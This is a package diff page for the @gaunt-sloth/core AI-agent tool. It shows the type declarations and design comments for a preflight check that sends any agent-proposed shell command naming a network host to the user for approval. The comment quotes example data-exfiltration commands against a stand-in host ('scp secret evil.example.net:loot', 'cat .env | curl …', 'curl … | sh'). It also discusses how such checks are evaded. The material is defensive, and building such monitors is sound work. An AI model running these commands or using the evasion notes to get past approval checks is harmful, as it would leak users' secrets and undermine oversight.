@gaunt-sloth/core 2.0.0-alpha.24 → 2.0.0-alpha.26

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (109) hide show
  1. package/README.md +1 -1
  2. package/dist/config/colour.d.ts +38 -0
  3. package/dist/config/colour.js +36 -0
  4. package/dist/config/colour.js.map +1 -0
  5. package/dist/config/defaults.d.ts +1 -0
  6. package/dist/config/defaults.js +1 -0
  7. package/dist/config/defaults.js.map +1 -1
  8. package/dist/config/loader.d.ts +13 -6
  9. package/dist/config/loader.js +171 -28
  10. package/dist/config/loader.js.map +1 -1
  11. package/dist/config/mouse.d.ts +50 -0
  12. package/dist/config/mouse.js +44 -0
  13. package/dist/config/mouse.js.map +1 -0
  14. package/dist/config/schema.d.ts +2372 -114
  15. package/dist/config/schema.js +845 -16
  16. package/dist/config/schema.js.map +1 -1
  17. package/dist/config/shell-policy.d.ts +466 -116
  18. package/dist/config/shell-policy.js +273 -62
  19. package/dist/config/shell-policy.js.map +1 -1
  20. package/dist/config/tool-descriptions.d.ts +165 -0
  21. package/dist/config/tool-descriptions.js +229 -0
  22. package/dist/config/tool-descriptions.js.map +1 -0
  23. package/dist/config/types.d.ts +36 -1
  24. package/dist/config/types.js.map +1 -1
  25. package/dist/config.d.ts +3 -0
  26. package/dist/config.js +3 -0
  27. package/dist/config.js.map +1 -1
  28. package/dist/core/GthAbstractAgent.d.ts +59 -1
  29. package/dist/core/GthAbstractAgent.js +72 -0
  30. package/dist/core/GthAbstractAgent.js.map +1 -1
  31. package/dist/core/GthAgentRunner.d.ts +341 -58
  32. package/dist/core/GthAgentRunner.js +817 -149
  33. package/dist/core/GthAgentRunner.js.map +1 -1
  34. package/dist/core/GthLangChainAgent.d.ts +16 -0
  35. package/dist/core/GthLangChainAgent.js +72 -2
  36. package/dist/core/GthLangChainAgent.js.map +1 -1
  37. package/dist/core/approvals/annotations.d.ts +122 -0
  38. package/dist/core/approvals/annotations.js +137 -0
  39. package/dist/core/approvals/annotations.js.map +1 -0
  40. package/dist/core/approvals/grants.d.ts +216 -0
  41. package/dist/core/approvals/grants.js +469 -0
  42. package/dist/core/approvals/grants.js.map +1 -0
  43. package/dist/core/approvals/matcher.d.ts +202 -0
  44. package/dist/core/approvals/matcher.js +267 -0
  45. package/dist/core/approvals/matcher.js.map +1 -0
  46. package/dist/core/approvals/mcpSubjects.d.ts +40 -0
  47. package/dist/core/approvals/mcpSubjects.js +99 -0
  48. package/dist/core/approvals/mcpSubjects.js.map +1 -0
  49. package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
  50. package/dist/core/approvals/toolAnnotationSources.js +277 -0
  51. package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
  52. package/dist/core/approvals/toolHost.d.ts +46 -0
  53. package/dist/core/approvals/toolHost.js +108 -0
  54. package/dist/core/approvals/toolHost.js.map +1 -0
  55. package/dist/core/launchBanner.d.ts +120 -0
  56. package/dist/core/launchBanner.js +399 -0
  57. package/dist/core/launchBanner.js.map +1 -0
  58. package/dist/core/plainToolIndication.js +13 -7
  59. package/dist/core/plainToolIndication.js.map +1 -1
  60. package/dist/core/shell/approvalStop.d.ts +75 -0
  61. package/dist/core/shell/approvalStop.js +108 -0
  62. package/dist/core/shell/approvalStop.js.map +1 -0
  63. package/dist/core/shell/arity.d.ts +6 -0
  64. package/dist/core/shell/arity.js +20 -6
  65. package/dist/core/shell/arity.js.map +1 -1
  66. package/dist/core/shell/denylist.d.ts +11 -0
  67. package/dist/core/shell/denylist.js +37 -0
  68. package/dist/core/shell/denylist.js.map +1 -0
  69. package/dist/core/shell/normalize.d.ts +41 -1
  70. package/dist/core/shell/normalize.js +58 -4
  71. package/dist/core/shell/normalize.js.map +1 -1
  72. package/dist/core/shell/openWorld.d.ts +138 -0
  73. package/dist/core/shell/openWorld.js +523 -0
  74. package/dist/core/shell/openWorld.js.map +1 -0
  75. package/dist/core/shell/rater.d.ts +560 -0
  76. package/dist/core/shell/rater.js +895 -0
  77. package/dist/core/shell/rater.js.map +1 -0
  78. package/dist/core/shell/raterModel.d.ts +41 -0
  79. package/dist/core/shell/raterModel.js +51 -0
  80. package/dist/core/shell/raterModel.js.map +1 -0
  81. package/dist/core/shell/rejection.d.ts +66 -0
  82. package/dist/core/shell/rejection.js +38 -0
  83. package/dist/core/shell/rejection.js.map +1 -0
  84. package/dist/core/types.d.ts +71 -9
  85. package/dist/core/types.js.map +1 -1
  86. package/dist/runtime/askStructured.d.ts +8 -7
  87. package/dist/runtime/askStructured.js +8 -7
  88. package/dist/runtime/askStructured.js.map +1 -1
  89. package/dist/runtime/conversation.js +89 -76
  90. package/dist/runtime/conversation.js.map +1 -1
  91. package/dist/runtime/singleShot.js +71 -60
  92. package/dist/runtime/singleShot.js.map +1 -1
  93. package/dist/utils/ProgressIndicator.d.ts +21 -0
  94. package/dist/utils/ProgressIndicator.js +30 -3
  95. package/dist/utils/ProgressIndicator.js.map +1 -1
  96. package/dist/utils/consoleUtils.d.ts +30 -0
  97. package/dist/utils/consoleUtils.js +27 -2
  98. package/dist/utils/consoleUtils.js.map +1 -1
  99. package/dist/utils/systemUtils.d.ts +17 -0
  100. package/dist/utils/systemUtils.js +17 -0
  101. package/dist/utils/systemUtils.js.map +1 -1
  102. package/package.json +5 -2
  103. package/schema/gsloth-config.schema.json +1216 -417
  104. package/dist/core/shell/allowlist.d.ts +0 -75
  105. package/dist/core/shell/allowlist.js +0 -187
  106. package/dist/core/shell/allowlist.js.map +0 -1
  107. package/dist/core/shell/judge.d.ts +0 -161
  108. package/dist/core/shell/judge.js +0 -261
  109. package/dist/core/shell/judge.js.map +0 -1
@@ -0,0 +1,138 @@
1
+ /**
2
+ * @module core/shell/openWorld
3
+ *
4
+ * EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
5
+ * **host literal in a fetch/transfer position**. A command that carries one is floored at
6
+ * `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
7
+ * so it is always asked about and can never be auto-approved.
8
+ *
9
+ * ## Why this is not a trust judgement, and must never become one
10
+ *
11
+ * §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
12
+ * model and a working developer were measured failing exactly that** — the developer flagged the
13
+ * *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
14
+ * preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
15
+ * about, and no misreading of a hostname can produce an auto-approve.
16
+ *
17
+ * It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
18
+ * attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
19
+ * be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
20
+ * hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
21
+ * therefore before this.
22
+ *
23
+ * ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
24
+ *
25
+ * The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
26
+ * there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
27
+ * misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
28
+ * *asked*. So:
29
+ *
30
+ * - a **false positive costs one prompt** — annoying, recoverable, visible;
31
+ * - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
32
+ * literal, which is the discrimination both a cheap model and a working developer were measured
33
+ * failing.
34
+ *
35
+ * **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
36
+ * it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
37
+ * arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
38
+ * upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
39
+ * a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
40
+ *
41
+ * ## The shape of the matcher
42
+ *
43
+ * Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
44
+ *
45
+ * 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
46
+ * composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
47
+ * preflight already floors those. So this matcher never has to parse a hard command — and it
48
+ * must not claim the finding, because "it names a host" would be a worse (and possibly false)
49
+ * explanation than "its target cannot be statically resolved".
50
+ * 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
51
+ * 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
52
+ * 4. **Test only the candidate operands** for a host literal.
53
+ *
54
+ * **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
55
+ * zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
56
+ * and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
57
+ * for free.
58
+ *
59
+ * **The project's own configured destinations are not host literals.** `git push origin main`,
60
+ * `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
61
+ * `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
62
+ * `routine-mutating` family unprompted.
63
+ *
64
+ * ## Known false positives, each DECLINED because the available fix costs an evasion
65
+ *
66
+ * Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
67
+ * one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
68
+ * every one of them was attempted and reverted:
69
+ *
70
+ * - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
71
+ * release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
72
+ * (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
73
+ * left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
74
+ * `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
75
+ * `rsync -a /srv/ evil.example.net:backup`.
76
+ * - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
77
+ * `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
78
+ * a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
79
+ * `git --quiet fetch <URL>`, both measured.
80
+ * - **An email address under a `git` subcommand word** — also `git config user.email
81
+ * jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
82
+ * prompt per machine setup, against a silent global fetch-redirect).
83
+ *
84
+ * The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
85
+ * here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
86
+ * command had already appeared, which is exactly what {@link HeadTier} withholds.
87
+ *
88
+ * And one that is intended by the rule rather than a defect: a **loopback IP** floors
89
+ * (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
90
+ * bare name is not. Carving loopback out needs a second address-classification rule with its own
91
+ * false-positive surface, for a one-prompt gain.
92
+ */
93
+ /**
94
+ * Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
95
+ * `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
96
+ * counterparty trustworthy"* (§4.1.1).
97
+ */
98
+ export declare function isHostLiteral(operand: string): boolean;
99
+ /**
100
+ * Find every **host literal in a fetch/transfer position**, or an empty array when the command names
101
+ * no counterparty (spec §4.6).
102
+ *
103
+ * Takes the **raw** command, exactly like the other preflights: normalization happens inside, so a
104
+ * caller can never accidentally hand this a form that has already lost the composition boundary
105
+ * the decline below depends on.
106
+ *
107
+ * Returns `[]` — declining rather than flooring — for any command {@link classifyCommand} cannot
108
+ * classify. Those compose, substitute or redirect, and the **ambiguity preflight already floors
109
+ * them**, with a truer explanation than this one could give. Composed egress
110
+ * (`curl … | sh`, `cat .env | curl …`) is thus still floored; it is simply floored one layer up.
111
+ * That decline is also why `sed -i 's|http://a|http://b|' config.yml` is not this preflight's
112
+ * finding: the `|` inside the sed expression reads as composition, so it was already unclassifiable
113
+ * — and already escalating — before EXT-61 existed.
114
+ *
115
+ * **Every match is returned, not the first.** The first is not the target: for
116
+ * `curl -x http://proxy.corp.local:3128 https://evil.example.net/x` it is the proxy, and for
117
+ * `rsync -a backup.example.com:/srv/ deploy@evil.example.net:/tmp/` it is the source. §4.6.1's whole
118
+ * premise is that the sentence naming the counterparty is what reaches the user, so a sentence that
119
+ * names the reassuring one and hides the other defeats the point of the layer.
120
+ *
121
+ * ## Why both the normalized AND the raw argv are tested
122
+ *
123
+ * {@link normalizeCommand} collapses `\x` to `x`, which is correct on POSIX (it is what defeats
124
+ * `c\url https://…`) and **destroys a Windows path separator**: `C:\Windows\System32\curl.exe`
125
+ * normalizes to `C:WindowsSystem32curl.exe`, whose last path segment is no longer `curl`, so the
126
+ * head gate misses it. That command runs on Windows, and gaunt-sloth ships there. Measured, not
127
+ * reasoned — the POSIX form `/usr/bin/curl` was already handled, which is exactly what made the
128
+ * Windows one easy to miss by reading.
129
+ *
130
+ * A second pass over the raw argv closes it. It is safe **because this layer can only RAISE**: a
131
+ * second chance to match can add a prompt, never remove one, and the head gate is unchanged — an
132
+ * argv[0] whose last path segment is literally `curl` or `wget` is a network binary under any
133
+ * reading. The normalized pass still runs first and still owns the anti-obfuscation guarantees.
134
+ *
135
+ * @param command The raw command string as the model proposed it.
136
+ * @returns The matched host literals, in argv order (used verbatim in the escalation reason).
137
+ */
138
+ export declare function findOpenWorldHostLiterals(command: string): string[];